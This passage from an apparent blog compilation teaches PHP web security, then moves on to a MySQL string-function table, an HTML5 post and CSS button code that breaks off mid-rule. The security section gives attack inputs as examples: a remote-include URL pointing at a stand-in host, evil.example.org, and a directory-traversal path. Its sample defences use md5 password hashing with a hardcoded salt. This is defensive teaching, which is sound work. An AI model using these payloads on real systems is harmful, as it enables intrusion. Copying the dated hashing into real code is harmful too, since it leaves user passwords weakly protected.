include:\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\ninclude \"{$_GET[\'path\']}/header.inc\";\r\n\r\n&nbsp;\r\n\r\n?&gt;\r\n\r\n&nbsp;\r\n\r\nThe PHP code would be interpreted and executedexactly the opportunity that an attacker can take advantage of to deliver a serious blow to your security.\r\n\r\nImagine a value of path that indicates a resource under the attacker\'s control:\r\n\r\nhttp://example.org/index.php?path=http%3A%2F%2Fevil.example.org%2Fevil.inc%3F\r\n\r\n&nbsp;\r\n\r\nIn this example, path is the URL encoded value of the following:\r\n\r\nhttp://evil.example.org/evil.inc?\r\n\r\n&nbsp;\r\n\r\n<b>Solution :</b>\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\n$clean = array();\r\n\r\n&nbsp;\r\n\r\n/* $_GET[\'path\'] is filtered and stored in $clean[\'path\']. */\r\n\r\n&nbsp;\r\n\r\ninclude \"{$clean[\'path\']}/header.inc\";\r\n\r\n&nbsp;\r\n\r\n?&gt;\r\n\r\n&nbsp;\r\n\r\n<b> </b>\r\n\r\n&nbsp;</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n&nbsp;\r\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"665\">\r\n<h2>Files and Commands</h2>\r\n&nbsp;\r\n<h3>1.Traversing the File system:</h3>\r\nWhenever you use a file in any way, you must indicate the filename at some point. In many cases, the filename is given as an argument to fopen( ).\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\n$handle = fopen(\"/path/to/{$_GET[\'filename\']}.txt\", \'r\');\r\n\r\n&nbsp;\r\n\r\n?&gt;\r\n\r\n&nbsp;\r\n\r\nthe most dangerous exploit is one in which the attacker traverses the filesystem by using multiple instances of the string ../ to move up the directory tree. For example, imagine a value of filename being passed as follows:\r\n\r\nhttp://example.org/file.php?filename=../../../../../another/path/to/file\r\n\r\nThe basename( ) function can be useful for inspecting a string to check for unwanted path information:\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\n$clean = array();\r\n\r\n&nbsp;\r\n\r\nif (basename($_GET[\'filename\']) == $_GET[\'filename\'])\r\n\r\n{\r\n\r\n$clean[\'filename\'] = $_GET[\'filename\'];\r\n\r\n}\r\n\r\nelse\r\n\r\n{\r\n\r\n/* ... */\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n$handle = fopen(\"/path/to/{$clean[\'filename\']}.txt\", \'r\');\r\n\r\n&nbsp;\r\n\r\n?&gt;\r\n<h3>2.Remote File Risks :</h3>\r\nPHP has a configuration directive called allow_url_fopen that is enabled by default. It allows you to reference many types of resources as though they were local files. For example, you can retrieve the content (HTML) of a particular page by reading from a URL:\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\n$contents = file_get_contents(\'http://example.org/\');\r\n\r\n&nbsp;\r\n\r\n?&gt;\r\n\r\nThis particular example lets a user manipulate the behavior of file_get_contents( ) so that it retrieves the contents of a remote resource. Consider a request similar to the following:\r\n\r\n<a href=\"http://example.org/file.php?filename=http%3A%2F%2Fevil.example.org%2Fxss.html\">http://example.org/file.php?filename=http%3A%2F%2Fevil.example.org%2Fxss.html</a>\r\n\r\n&nbsp;\r\n\r\n<b>Solution:</b>\r\n\r\nTo strengthen this approach, you should also treat $contents as input and filter it prior to use:\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\n$clean = array();\r\n\r\n$html = array();\r\n\r\n&nbsp;\r\n\r\n/* Filter Input ($_GET[\'filename\']) */\r\n\r\n&nbsp;\r\n\r\n$contents = file_get_contents($clean[\'filename\']);\r\n\r\n&nbsp;\r\n\r\n/* Filter Input ($contents) */\r\n\r\n&nbsp;\r\n\r\n$html[\'contents\'] = htmlentities($clean[\'contents\'], ENT_QUOTES, \'UTF-8\');\r\n\r\n&nbsp;\r\n\r\necho $html[\'contents\'];\r\n\r\n&nbsp;\r\n\r\n?&gt;\r\n\r\n&nbsp;\r\n\r\nThis provides a very strong defense against numerous types of attacks, and it is the recommended approach.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n<h3>3.Command Injection :The use of system commands is a dangerous operation, and this is particularly true when you use remote data to construct the command to be issued. When tainted data is used, this represents a command injection vulnerability.</h3>\r\n<b> </b>\r\n\r\nThe exec( ) function is a popular function used to execute a shell command. It returns the last line of the output of the command, but you can specify an array as the second argument, and each line of output is stored as an element of that array. It can be used as follows:\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\n$last = exec(\'ls\', $output, $return);\r\n\r\n&nbsp;\r\n\r\nprint_r($output);\r\n\r\necho \"Return [$return]\";\r\n\r\n&nbsp;\r\n\r\n?&gt;\r\n\r\nWhen executed with exec( ) as shown in the prior example, the following output is generated:\r\n\r\nArray\r\n\r\n(\r\n\r\n[0] =&gt; total 0\r\n\r\n[1] =&gt; -rw-rw-r--  1 chris chris 0 May 21 12:34 php-security\r\n\r\n[2] =&gt; -rw-rw-r--  1 chris chris 0 May 21 12:34 chris-shiflett\r\n\r\n)\r\n\r\nReturn [0]\r\n\r\n&nbsp;\r\n\r\nThis is a useful and convenient way to execute shell commands, but this convenience heightens your risk. If tainted data is used to construct the string to be executed, an attacker can execute arbitrary commands.\r\n\r\n<b>Solution:</b>\r\n\r\nensure that you use only filtered data to construct the string to be executed, and always escape your output:\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\n$clean = array();\r\n\r\n$shell = array();\r\n\r\n&nbsp;\r\n\r\n/* Filter Input ($command, $argument) */\r\n\r\n&nbsp;\r\n\r\n$shell[\'command\'] = escapeshellcmd($clean[\'command\']);\r\n\r\n$shell[\'argument\'] = escapeshellarg($clean[\'argument\']);\r\n\r\n&nbsp;\r\n\r\n$last = exec(\"{$shell[\'command\']} {$shell[\'argument\']}\", $output, $return);\r\n\r\n&nbsp;\r\n\r\n?&gt;\r\n\r\n&nbsp;\r\n\r\nAlthough you can execute shell commands in many different ways, the best practice is to be consistentensure that you use only filtered and escaped data when constructing the string to be executed. Other functions that require careful attention include passthru( ), popen( ), shell_exec( ), and system( ). If at all possible, I recommend avoiding the use of shell commands altogether.\r\n\r\n&nbsp;\r\n\r\n&nbsp;</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"665\">\r\n<h2>Authentication and Authorization</h2>\r\n</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"665\">&nbsp;\r\n\r\nAuthentication is the process by which a user\'s identity is proven. This typically involves a simple username and password check. Thus, a user who is logged in is an <i>authenticated user</i>.\r\n\r\nAuthorization, often called access control, is how you guard access to protected resources and determine whether a user is authorized to access a particular resource. For example, many web applications have resources that are available only to authenticated users, resources that are available only to administrators, and resources that are available to everyone.\r\n\r\nAn authorized user is trusted more than an anonymous user, but if your administrative features are available via a public URL, they are an inviting target to an attacker. In these cases, negligence is your primary foe.\r\n<ul>\r\n	<li>brute force attacks ,</li>\r\n	<li>password sniffing,</li>\r\n	<li>replay attacks,</li>\r\n	<li>persistent logins.</li>\r\n</ul>\r\n</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n&nbsp;\r\n\r\n&nbsp;\r\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td valign=\"top\" width=\"665\"><b><i>1.Brute force attack :</i></b><i> </i>A <i>brute force attack</i> is an attack in which all available options are exhausted with no intelligence regarding which options are more likely. This is more formally known as an <i>enumeration attack</i>the attack enumerates through all possibilities.\r\n\r\nbrute force attacks typically involve an attacker trying to log in with a very large number of attempts. In most cases, known valid usernames are used, and the password is the only thing being guessed.\r\n\r\nAlthough a useful defense is to temporarily suspend an account once a maximum number of login failures are recorded, you might consider suspending an account according to certain aspects of the request, so that an attacker is less likely to interfere with a legitimate user\'s use of your application.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<b>Solution :  </b>Please go through this example\r\n\r\nA few other approaches can also be used to make brute force attacks more difficult and less likely to succeed. A simple throttling mechanism can help to eliminate the practicality of such an attack:\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\n/* mysql_connect() */\r\n\r\n/* mysql_select_db() */\r\n\r\n&nbsp;\r\n\r\n$clean = array();\r\n\r\n$mysql = array();\r\n\r\n&nbsp;\r\n\r\n$now = time();\r\n\r\n$max = $now - 15;\r\n\r\n&nbsp;\r\n\r\n$salt = \'SHIFLETT\';\r\n\r\n&nbsp;\r\n\r\nif (ctype_alnum($_POST[\'username\']))\r\n\r\n{\r\n\r\n$clean[\'username\'] = $_POST[\'username\'];\r\n\r\n}\r\n\r\nelse\r\n\r\n{\r\n\r\n/* ... */\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n$clean[\'password\'] = md5($salt . md5($_POST[\'password\'] . $salt));\r\n\r\n$mysql[\'username\'] = mysql_real_escape_string($clean[\'username\']);\r\n\r\n&nbsp;\r\n\r\n$sql = \"SELECT last_failure, password\r\n\r\nFROM   users\r\n\r\nWHERE  username = \'{$mysql[\'username\']}\'\";\r\n\r\n&nbsp;\r\n\r\nif ($result = mysql_query($sql))\r\n\r\n{\r\n\r\nif (mysql_num_rows($result))\r\n\r\n{\r\n\r\n$record = mysql_fetch_assoc($result);\r\n\r\n&nbsp;\r\n\r\nif ($record[\'last_failure\']&gt; $max)\r\n\r\n{\r\n\r\n/* Less than 15 seconds since last failure */\r\n\r\n}\r\n\r\nelseif ($record[\'password\'] == $clean[\'password\'])\r\n\r\n{\r\n\r\n/* Successful Login */\r\n\r\n}\r\n\r\nelse\r\n\r\n{\r\n\r\n/* Failed Login */\r\n\r\n&nbsp;\r\n\r\n$sql = \"UPDATE users\r\n\r\nSET    last_failure = \'$now\'\r\n\r\nWHERE  username = \'{$mysql[\'username\']}\'\";\r\n\r\n&nbsp;\r\n\r\nmysql_query($sql);\r\n\r\n}\r\n\r\n}\r\n\r\nelse\r\n\r\n{\r\n\r\n/* Invalid Username */\r\n\r\n}\r\n\r\n}\r\n\r\nelse\r\n\r\n{\r\n\r\n/* Error */\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n?&gt;\r\n\r\n&nbsp;\r\n\r\nThis throttles the rate with which a user is allowed to try again after a login failure. If a new attempt is made within 15 seconds of a previous failure, authentication fails regardless of whether the login credentials are correct. This is a key point in the implementation. It is not enough to simply deny access when a new attempt is made within 15 seconds of the previous failurethe output in such cases must be consistent regardless of whether the login would otherwise be successful; otherwise, an attacker can simply check for inconsistent output in order to determine whether the login credentials are correct.\r\n\r\n&nbsp;\r\n\r\n<b>2.Password Sniffing .</b>\r\n\r\n<b> </b>\r\n\r\nwhen an attacker can sniff (observe) traffic between your users and your application, being mindful of data exposure becomes increasingly important, particularly regarding authentication credentials.\r\n\r\n&nbsp;\r\n\r\n<b>Solution</b>:Using SSL is an effective way to protect the contents of both HTTP requests and their corresponding responses from exposure. Any request for a resource that uses the <b>https</b> scheme is protected against password sniffing . It is a best practice to always use SSL for sending authentication credentials, and you might consider also using SSL for all requests that contain a session identifier because this helps protect your users against session hijacking.\r\n\r\n&nbsp;\r\n\r\n<b>3.Replay attack</b>\r\n\r\nA <i>replay attack</i>, sometimes called a <i>presentation attack</i>, is any attack that involves the attacker replaying data sent previously by a legitimate user in order to gain access or other privileges granted to that user.\r\n<h3>4.Persistent Logins</h3>\r\nA <i>persistent login</i> is a mechanism that persists authentication between browser sessions. In other words, a user who logs in today is still logged in tomorrow, even if the user\'s session expires between visits.\r\n\r\nThe most common flawed implementation of a persistent login that I have observed is to store the username and password in a cookie. The temptation is understandablerather than prompting the user for a username and password, you can simply read them from a cookie. Everything else about the authentication process is consistent, so this makes the implementation easy.\r\n\r\n&nbsp;\r\n\r\nA persistent login requires a persistent login cookie, often called an authentication cookie , because a cookie is the only standard mechanism that can be used to persist data across multiple sessions. If this cookie provides permanent access, it poses a serious risk to the security of your application, so you want to be sure that the information you store in the cookie has a restricted window of time for which it can be used to authenticate.\r\n\r\n&nbsp;\r\n\r\nusername is less sensitive than a password, you can store it in the cookie, and this can be used during authentication to determine which user\'s token is being presented. However, a slightly better approach is to use a secondary identifier that is less likely to be predicted or discovered. Consider a table for storing usernames and passwords that has three additional columns for a secondary identifier (<b>identifier</b>), a persistent login token (<b>token</b>), and a persistent login timeout (<b>timeout</b>):\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\n$salt = \'SHIFLETT\';\r\n\r\n&nbsp;\r\n\r\n$identifier = md5($salt . md5($username . $salt));\r\n\r\n$token = md5(uniqid(rand(), TRUE));\r\n\r\n$timeout = time() + 60 * 60 * 24 * 7;\r\n\r\n<span style=\"text-decoration: underline;\">21.</span>  <span style=\"text-decoration: underline;\">Blog21:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Mysql String Functions\r\n\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span>:   Project Learnings\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Summary:</span>\r\n<table width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td>&nbsp;</td>\r\n</tr>\r\n<tr>\r\n<td>\r\n<table border=\"1\" cellpadding=\"0\">\r\n<tbody>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_ascii\">ASCII()</a></td>\r\n<td>Return numeric value of left-most character</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_bin\">BIN()</a></td>\r\n<td>Return a string representation of the argument</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_bit-length\">BIT_LENGTH()</a></td>\r\n<td>Return length of argument in bits</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_char-length\">CHAR_LENGTH()</a></td>\r\n<td>Return number of characters in argument</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_char\">CHAR()</a></td>\r\n<td>Return the character for each integer passed</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_character-length\">CHARACTER_LENGTH()</a></td>\r\n<td>A synonym for CHAR_LENGTH()</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_concat-ws\">CONCAT_WS()</a></td>\r\n<td>Return concatenate with separator</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_concat\">CONCAT()</a></td>\r\n<td>Return concatenated string</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_elt\">ELT()</a></td>\r\n<td>Return string at index number</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_export-set\">EXPORT_SET()</a></td>\r\n<td>Return a string such that for every bit set in the value bits, you get an on string and for every unset bit, you get an off string</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_field\">FIELD()</a></td>\r\n<td>Return the index (position) of the first argument in the subsequent arguments</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_find-in-set\">FIND_IN_SET()</a></td>\r\n<td>Return the index position of the first argument within the second argument</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_format\">FORMAT()</a></td>\r\n<td>Return a number formatted to specified number of decimal places</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_hex\">HEX()</a></td>\r\n<td>Return a hexadecimal representation of a decimal or string value</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_insert\">INSERT()</a></td>\r\n<td>Insert a substring at the specified position up to the specified number of characters</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_instr\">INSTR()</a></td>\r\n<td>Return the index of the first occurrence of substring</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_lcase\">LCASE()</a></td>\r\n<td>Synonym for LOWER()</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_left\">LEFT()</a></td>\r\n<td>Return the leftmost number of characters as specified</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_length\">LENGTH()</a></td>\r\n<td>Return the length of a string in bytes</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-comparison-functions.html#operator_like\">LIKE</a></td>\r\n<td>Simple pattern matching</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_load-file\">LOAD_FILE()</a></td>\r\n<td>Load the named file</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_locate\">LOCATE()</a></td>\r\n<td>Return the position of the first occurrence of substring</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_lower\">LOWER()</a></td>\r\n<td>Return the argument in lowercase</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_lpad\">LPAD()</a></td>\r\n<td>Return the string argument, left-padded with the specified string</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_ltrim\">LTRIM()</a></td>\r\n<td>Remove leading spaces</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_make-set\">MAKE_SET()</a></td>\r\n<td>Return a set of comma-separated strings that have the corresponding bit in bits set</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/fulltext-search.html#function_match\">MATCH</a></td>\r\n<td>Perform full-text search</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_mid\">MID()</a></td>\r\n<td>Return a substring starting from the specified position</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-comparison-functions.html#operator_not-like\">NOT LIKE</a></td>\r\n<td>Negation of simple pattern matching</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/regexp.html#operator_not-regexp\">NOT REGEXP</a></td>\r\n<td>Negation of REGEXP</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_octet-length\">OCTET_LENGTH()</a></td>\r\n<td>A synonym for LENGTH()</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_ord\">ORD()</a></td>\r\n<td>Return character code for leftmost character of the argument</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_position\">POSITION()</a></td>\r\n<td>A synonym for LOCATE()</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_quote\">QUOTE()</a></td>\r\n<td>Escape the argument for use in an SQL statement</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/regexp.html#operator_regexp\">REGEXP</a></td>\r\n<td>Pattern matching using regular expressions</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_repeat\">REPEAT()</a></td>\r\n<td>Repeat a string the specified number of times</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_replace\">REPLACE()</a></td>\r\n<td>Replace occurrences of a specified string</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_reverse\">REVERSE()</a></td>\r\n<td>Reverse the characters in a string</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_right\">RIGHT()</a></td>\r\n<td>Return the specified rightmost number of characters</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/regexp.html#operator_regexp\">RLIKE</a></td>\r\n<td>Synonym for REGEXP</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_rpad\">RPAD()</a></td>\r\n<td>Append string the specified number of times</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_rtrim\">RTRIM()</a></td>\r\n<td>Remove trailing spaces</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_soundex\">SOUNDEX()</a></td>\r\n<td>Return a soundex string</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#operator_sounds-like\">SOUNDS LIKE</a></td>\r\n<td>Compare sounds</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_space\">SPACE()</a></td>\r\n<td>Return a string of the specified number of spaces</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-comparison-functions.html#function_strcmp\">STRCMP()</a></td>\r\n<td>Compare two strings</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_substr\">SUBSTR()</a></td>\r\n<td>Return the substring as specified</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_substring-index\">SUBSTRING_INDEX()</a></td>\r\n<td>Return a substring from a string before the specified number of occurrences of the delimiter</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_substring\">SUBSTRING()</a></td>\r\n<td>Return the substring as specified</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_trim\">TRIM()</a></td>\r\n<td>Remove leading and trailing spaces</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_ucase\">UCASE()</a></td>\r\n<td>Synonym for UPPER()</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_unhex\">UNHEX()</a></td>\r\n<td>Convert each pair of hexadecimal digits to a character</td>\r\n</tr>\r\n<tr>\r\n<td><a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_upper\">UPPER()</a></td>\r\n<td>Convert to uppercase</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\nReference Site: <a href=\"http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_char-length\">http://dev.mysql.com/doc/refman/5.5/en/string-functions.html#function_char-length</a>\r\n\r\n<span style=\"text-decoration: underline;\">22.</span>  <span style=\"text-decoration: underline;\">Blog22:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  Form a learning plan for an HTML5 future\r\n\r\n\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span>:   Web Technology\r\n\r\n<span style=\"text-decoration: underline;\">Summary:</span>\r\n\r\nThe trend toward using Web technologies for application development, even outside of the Web browser, is here to stay. The recent revelation that <a href=\"http://www.techrepublic.com/blog/programming-and-development/windows-8-native-apps-and-html5-facts-and-conjecture/4313\" target=\"_blank\">Windows 8 will have provisions for writing apps using the HTML5 technologies</a> merely cements this shift in the development world. So the question is: How are you going to deal with it?\r\n\r\nIf you haven’t been following closely, it is easy to wonder why and how Web technologies are suddenly being cast in the role of desktop application development platforms. In the <a href=\"http://dev.w3.org/html5/spec/Overview.html\">HTML5 standard</a> that is being finalized, there are a number of new items that add on real application development capabilities to HTML’s existing document formatting. In the past, big JavaScript frameworks and browser plugins were needed for some fairly trivial functionality.\r\n\r\nHTML5 changes the game by adding support for things like video streaming, multithreaded and asynchronous processing (via the “Web Workers” message passing system), direct communications through sockets, and more. While the idea that a document format standard has these capabilities may be horrifying to some (including myself), this is the direction that HTML is headed in, and it has backing from Apple, Microsoft, Google, Mozilla, Adobe, and more. In addition, the various frameworks out there make it very easy to directly connect Web applications to backend Web services. As a result, HTML5 is now as capable as technologies like Silverlight, Flash, Flex/AIR, and JavaFX for many tasks (though there are still some things that those technologies do better).\r\n\r\n<span style=\"text-decoration: underline;\">23.</span>  <span style=\"text-decoration: underline;\">Blog23:</span>\r\n\r\n<span style=\"text-decoration: underline;\"> </span>\r\n\r\n<span style=\"text-decoration: underline;\">Header</span>:  CSS3 Gradient Button Without Images\r\n\r\n\r\n\r\n\r\n<span style=\"text-decoration: underline;\">Category</span>:   Web Technology\r\n\r\n<span style=\"text-decoration: underline;\">Summary:</span>\r\n\r\n<b>Try this pasting in your HTML editor and see the result.</b>\r\n\r\n&lt;!DOCTYPE HTML&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;html&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;head&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;title&gt;Untitled Document&lt;/title&gt;\r\n\r\n&nbsp;\r\n\r\n&lt;style type=\"text/css\"&gt;\r\n\r\n&nbsp;\r\n\r\n.button {\r\n\r\n&nbsp;\r\n\r\ndisplay: inline-block;\r\n\r\n&nbsp;\r\n\r\noutline: none;\r\n\r\n&nbsp;\r\n\r\ncursor: pointer;\r\n\r\n&nbsp;\r\n\r\ntext-align: center;\r\n\r\n&nbsp;\r\n\r\ntext-decoration: none;\r\n\r\n&nbsp;\r\n\r\nfont: 14px/100% Arial, Helvetica, sans-serif;\r\n\r\n&nbsp;\r\n\r\npadding: .5em 2em .55em;\r\n\r\n&nbsp;\r\n\r\ntext-shadow: 0 1px 1px rgba(0,0,0,.3);\r\n\r\n&nbsp;\r\n\r\n-webkit-border-radius: .5em;\r\n\r\n&nbsp;\r\n\r\n-moz-border-radius: .5em;\r\n\r\n&nbsp;\r\n\r\nborder-radius: .5em;\r\n\r\n&nbsp;\r\n\r\n-webkit-box-shadow: 0 1px 2px rgba(0,0,0,.2);\r\n\r\n&nbsp;\r\n\r\n-moz-box-shadow: 0 1px 2px rgba(0,0,0,.2);\r\n\r\n&nbsp;\r\n\r\nbox-shadow: 0 1px 2px rgba(0,0,0,.2);\r\n\r\n&nbsp;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n.button:hover {\r\n\r\n&nbsp;\r\n\r\ntext-decoration: none;\r\n\r\n&nbsp;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n.button:active {\r\n\r\n&nbsp;\r\n\r\nposition: relative;\r\n\r\n&nbsp;\r\n\r\ntop: 1px;\r\n\r\n&nbsp;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n.orange {\r\n\r\n&nbsp;\r\n\r\ncolor: #fef4e9;\r\n\r\n&nbsp;\r\n\r\nborder: solid 1px #da7c0c;\r\n\r\n&nbsp;\r\n\r\nbackground: #f78d1d;\r\n\r\n&nbsp;\r\n\r\nbackground: -webkit-gradient(linear, left top, left bottom, from(#faa51a), to(#f47a20));\r\n\r\n&nbsp;\r\n\r\nbackground: -moz-linear-gradient(top,  #faa51a,  #f47a20);\r\n\r\n&nbsp;\r\n\r\nfilter:  progid:DXImageTransform.Microsoft.gradient(startColorstr=\'#faa51a\', endColorstr=\'#f47a20\');\r\n\r\n&nbsp;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n.orange:hover {\r\n\r\n&nbsp;\r\n\r\nbackground: #f47c20;\r\n\r\n&nbsp;\r\n\r\nbackground: -webkit-gradient(linear, left top, left bottom, from(#f88e11), to(#f06015));\r\n\r\n&nbsp;\r\n\r\nbackground: -moz-linear-gradient(top,  #f88e11,  #f06015);\r\n\r\n&nbsp;\r\n\r\nfilter:  progid:DXImageTransform.Microsoft.gradient(startColorstr=\'#f88e11\', endColorstr=\'#f06015\');\r\n\r\n&nbsp;\r\n\r\n}\r\n\r\n&nbsp;\r\n\r\n.orange:active {\r\n\r\n&nbsp;\r\n\r\ncolor: #fcd3a5;\r\n\r\n&nbsp;\r\n\r\nbackground: -webkit-gradient(linear, left top, left bottom, from(#f47a20), 